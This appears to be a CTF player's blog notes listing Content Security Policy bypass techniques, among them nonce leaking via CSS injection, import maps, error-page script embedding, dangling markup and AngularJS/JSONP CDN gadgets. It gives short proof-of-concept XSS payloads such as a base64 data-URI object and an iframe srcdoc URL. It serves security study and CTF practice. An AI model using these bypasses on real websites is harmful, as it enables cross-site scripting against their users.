CSP Bypass Techniques

I decided to compile related bypass techniques while solving the Codegate 2020 CSP challenge, so here is a rough summary.

I'll update this post if I discover any additional information~~

---

CTFZone 2019

- Script nonce : cache poisoning

• Fix the CSP script nonce by performing cache poisoning using /index.php/, etc.

Codegate 2020

- Script none : Header Injection - Status Code 102

• Exploit the fact that CSP does not operate when the Status Code is 102

• header("HTTP/: 102");

--

*** Script nonce: Retrieve the script nonce by searching character by character, exploiting the ability to access attributes via regex in CSS injection**

https://lbherrera.me/solver.html

http://sirdarckcat.blogspot.com/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html

*** chromium 74 dev**

- CSP bypass using import maps

https://bugs.chromium.org/p/chromium/issues/detail?id=941340

https://test.shhnjk.com/imap.php

*** chromium 78**

https://test.shhnjk.com/unxssable.php?xss=%3Ciframe%20srcdoc=%22%3Cscript%3Ealert(origin);window.stop()%3C/script%3E%3Cmeta%20http-equiv=refresh%20content=%270;url=https://shhnjk.azurewebsites.net/csp_srcdoc.html%27%3E%22%3E%3C/iframe%3E

@shhnjk

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

@akita_zen

<script ?/src="data:+,alert%281%29"></script>

@404death

*** When you need to execute a script on a restricted page by leveraging a page where script execution is allowed within the same or trusted domain**

• Same or Trusted domain ( script-src 'self' // script-src 'a.com' )

• script-src 'self' unsafe-inline

• Scripts can be inserted by embedding 404 pages such as nginx 400 error, favicon.ico / robots.txt

• "Request URI Too Big" error can also be utilized

• "Cookie max size" error can also be utilized

https://www.slideshare.net/ssusera0a306/volgactf-2018-neatly-bypassing-csp

*** CSP bypass using dangling markup similar to Click Jacking (though this is more akin to exfiltrating sensitive information within DOM code)**

http://portswigger-labs.net/dangling_markup/?x=%3Ca%20href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html%3E%3Cfont%20size=100%20color=red%3EYou%20must%20click%20me%3C/font%3E%3C/a%3E%3Cbase%20target=%22blah

*** CSP bypass using CDNs of front-end frameworks such as angular js**

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26 ..

ng-app"ng-csp ng-click=$event.view.alert(1337)><script src =//ajax.googleapis.com/ajax ...

etc...